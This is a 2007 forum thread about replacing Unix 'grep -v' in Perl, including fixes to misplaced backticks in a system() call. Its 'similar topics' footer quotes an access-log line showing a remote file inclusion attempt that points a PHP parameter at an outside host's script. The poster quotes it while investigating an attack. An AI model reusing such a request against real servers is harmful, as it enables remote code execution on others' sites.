473,756 Members | 3,499 Online
Bytes | Software Development & Data Engineering Community
+ Post

Home Posts Topics Members FAQ

pure perl versus grep -v in unix

2 New Member
what should I use in perl /in place of grep -v in unix.
Jul 6 '07 #1
9 3565
numberwhun
3,509 Recognized Expert Moderator Specialist
Well, that depends. You could learn how to use Perl Regular Expressions and get really creative, or you could use back tics and use `grep -v`. (that is what I would probably do it I didn't have time to mess with the regex)

Regards,

Jeff
Jul 6 '07 #2
gyandwivedi
2 New Member
hi Jeff ..thanks a lot for ur quick response I have tried it but still having issues.
This is how i m using this system("zcat $file | grep -i TYPE=ERROR | `grep -v` BackendResponse Exception > /tmp/err.2wd")

getting following on running

sh: BackendResponse Exception: not found
Usage: grep -hblcnsviw pattern file . . .

can anyone please suggest sth on this
Jul 6 '07 #3
miller
1,089 Recognized Expert Top Contributor
backticks are used in perl, but that string passed to the system command is a system level operation. Therefore don't use the backticks.

Expand|Select|Wrap|Line Numbers
  1. system("zcat $file  | grep -i TYPE=ERROR | grep -v BackendResponseException > /tmp/err.2wd")
  2.  
Obviously try to get any system command to work at the command prompt first and then paste it into your perl code.

- Miller
Jul 6 '07 #4
numberwhun
3,509 Recognized Expert Moderator Specialist
backticks are used in perl, but that string passed to the system command is a system level operation. Therefore don't use the backticks.
Is that just a "best practices" thing? I ask only because the result should be the same, yes?

Regards,

Jeff
Jul 6 '07 #5
KevinADC
4,059 Recognized Expert Specialist
you should generally not use a function or operator that returns results, in a void context, like backtiks:

Expand|Select|Wrap|Line Numbers
  1. `command`; # backtiks used in void context
system() does not return results (it returns the exit value) from the program/application so is good for running commands that output results somewhere else, like a file. system() also does some "magical" things with the arguments passed to it. See the system() docs for details:

perldoc system()
Jul 6 '07 #6
miller
1,089 Recognized Expert Top Contributor
I'm sorry, I wasn't very clear.

All I meant to point out was that using backticks "inside" the system command was wrong. Using backticks instead of a system command would be just fine, and is in fact how the majority of coders I've observed tend to do such things.

- Miller
Jul 6 '07 #7
KevinADC
4,059 Recognized Expert Specialist
I'm sorry, I wasn't very clear.

All I meant to point out was that using backticks "inside" the system command was wrong. Using backticks instead of a system command would be just fine, and is in fact how the majority of coders I've observed tend to do such things.

- Miller

that was subtle, I missed it myself:

system("zcat $file | grep -i TYPE=ERROR | `grep -v` BackendResponse Exception > /tmp/err.2wd")

backtiks, literally, in the system command
Jul 6 '07 #8
numberwhun
3,509 Recognized Expert Moderator Specialist
that was subtle, I missed it myself:

system("zcat $file | grep -i TYPE=ERROR | `grep -v` BackendResponse Exception > /tmp/err.2wd")

backtiks, literally, in the system command
Oh, ok. I see now. I was curious because I knew that system returned a return code, but if you were doing something, system wise, that returned a value, then you almost HAVE to use backtics. (not to mention, if it was a bad practice, then I have been doing some very bad coding). :-)

Thanks for the clarification, both of you!!!

Regards,

Jeff
Jul 6 '07 #9
numberwhun
3,509 Recognized Expert Moderator Specialist
Kevin,

I sent you a PM.

Jeff
Jul 6 '07 #10

Sign in to post your reply or Sign up for a free account.

Similar topics

14
2578
by: Xah Lee | last post by:
Just bumped into another irresponsibility in perl. the crime in question this time is the module File::Basename. Reproduction: 1. create a directory containing a file of this name: "cdrom.html". 2. "use File::Basename;", with the line: ($name,$path,$suffix) = fileparse($File::Find::name, ('.html', '.m'));
31
4801
by: surfunbear | last post by:
I've read some posts on Perl versus Python and studied a bit of my Python book. I'm a software engineer, familiar with C++ objected oriented development, but have been using Perl because it is great for pattern matching, text processing, and automated testing. Our company is really fixated on risk managnemt and the only way I can do enough testing without working overtime (which some people have ended up doing) is by automating my...
1
17721
by: Al Belden | last post by:
Hi all, I've been working on a problem that I thought might be of interest: I'm trying to replace some korn shell scripts that search source code files with perl scripts to gain certain features such as: More powerful regular expressions available in perl Ability to print out lines before and after matches (gnu grep supports this but is not availble on our Digital Unix and AIX platforms) Make searches case insensitive by default (yes, I...
0
9745
by: Kirt Loki Dankmyer | last post by:
So, I download the latest "stable" tar for perl (5.8.7) and try to compile it on the Solaris 8 (SPARC) box that I administrate. I try all sorts of different switches, but I can't get it to compile. I need it to be compiled with threads. Anyone have any wisdom on how best to do this? Here's a transcript of my latest attempt. It's long; you might want to skip to the bottom, where I try "make" and the fatal errors start happening.
135
7508
by: Xah Lee | last post by:
Tabs versus Spaces in Source Code Xah Lee, 2006-05-13 In coding a computer program, there's often the choices of tabs or spaces for code indentation. There is a large amount of confusion about which is better. It has become what's known as “religious war” — a heated fight over trivia. In this essay, i like to explain what is the situation behind it, and which is proper.
4
10628
by: Ignoramus6539 | last post by:
There were some strange requests to my server asking for config.php file (which I do not have in the requested location). I did some investigation. Seems to be a virus written in perl, exploiting a vulnerability in php code. The requests are like this 216.120.231.252 - - "GET /algebra/about/history/config.php?returnpath=http://domates.1gig.biz/spread.txt? HTTP/1.1" 404 561 "-" "libwww-perl/5.805"
4
4868
by: js | last post by:
Just my curiosity. Can python beats perl at speed of grep-like processing? $ wget http://www.gutenberg.org/files/7999/7999-h.zip $ unzip 7999-h.zip $ cd 7999-h $ cat *.htm bigfile $ du -h bigfile du -h bigfile
3
4686
by: soniamadtha | last post by:
hello everyone, i have the following values : 98000345 and i would like to search this value in all of the sql files in the directory /temp/*sql normally on unix its grep( ' 98000345 ' ,/temp/*sql) however in perl the grep is used somehow in a different way : grep(EXPR,ARRAY/LIST) could anyone suggest how do i implement...grep( ' 98000345 ' ,/temp/*sql) in perl ?
10
6975
by: happyse27 | last post by:
Hi All, I got this apache errors(see section A1 and A2 below) when I used a html(see section b below) to activate acctman.pl(see section c below). Section D below is part of the configuration of section c. Not sure where went wrong as the web page displayed internal server error. Also, what is the error 543? and error 2114. Where to find the list of errors in websites as it is not the standard apache error. I could not find...
0
9456
marktang
by: marktang | last post by:
ONU (Optical Network Unit) is one of the key components for providing high-speed Internet services. Its primary function is to act as an endpoint device located at the user's premises. However, people are often confused as to whether an ONU can Work As a Router. In this blog post, well explore What is ONU, What Is Router, ONU & Routers main usage, and What is the difference between ONU and Router. Lets take a closer look ! Part I. Meaning of...
0
10032
Oralloy
by: Oralloy | last post by:
Hello folks, I am unable to find appropriate documentation on the type promotion of bit-fields when using the generalised comparison operator "<=>". The problem is that using the GNU compilers, it seems that the internal comparison operator "<=>" tries to promote arguments from unsigned to signed. This is as boiled down as I can make it. Here is my compilation command: g++-12 -std=c++20 -Wnarrowing bit_field.cpp Here is the code in...
0
9872
jinu1996
by: jinu1996 | last post by:
In today's digital age, having a compelling online presence is paramount for businesses aiming to thrive in a competitive landscape. At the heart of this digital strategy lies an intricately woven tapestry of website design and digital marketing. It's not merely about having a website; it's about crafting an immersive digital experience that captivates audiences and drives business growth. The Art of Business Website Design Your website is...
1
9841
by: Hystou | last post by:
Overview: Windows 11 and 10 have less user interface control over operating system update behaviour than previous versions of Windows. In Windows 11 and 10, there is no way to turn off the Windows Update option using the Control Panel or Settings app; it automatically checks for updates and installs any it finds, whether you like it or not. For most users, this new feature is actually very convenient. If you want to control the update process,...
0
9711
tracyyun
by: tracyyun | last post by:
Dear forum friends, With the development of smart home technology, a variety of wireless communication protocols have appeared on the market, such as Zigbee, Z-Wave, Wi-Fi, Bluetooth, etc. Each protocol has its own unique characteristics and advantages, but as a user who is planning to build a smart home system, I am a bit confused by the choice of these technologies. I'm particularly interested in Zigbee because I've heard it does some...
0
6534
by: conductexam | last post by:
I have .net C# application in which I am extracting data from word file and save it in database particularly. To store word all data as it is I am converting the whole word file firstly in HTML and then checking html paragraph one by one. At the time of converting from word file to html my equations which are in the word document file was convert into image. Globals.ThisAddIn.Application.ActiveDocument.Select();...
0
5141
by: TSSRALBI | last post by:
Hello I'm a network technician in training and I need your help. I am currently learning how to create and manage the different types of VPNs and I have a question about LAN-to-LAN VPNs. The last exercise I practiced was to create a LAN-to-LAN VPN between two Pfsense firewalls, by using IPSEC protocols. I succeeded, with both firewalls in the same network. But I'm wondering if it's possible to do the same thing, with 2 Pfsense firewalls...
1
3805
by: 6302768590 | last post by:
Hai team i want code for transfer the data from one system to another through IP address by using C# our system has to for every 5mins then we have to update the data what the data is updated we have to send another system
2
3358
muto222
by: muto222 | last post by:
How can i add a mobile payment intergratation into php mysql website.

By using Bytes.com and it's services, you agree to our Privacy Policy and Terms of Use.

To disable or enable advertisements and analytics tracking please visit the manage ads & tracking page.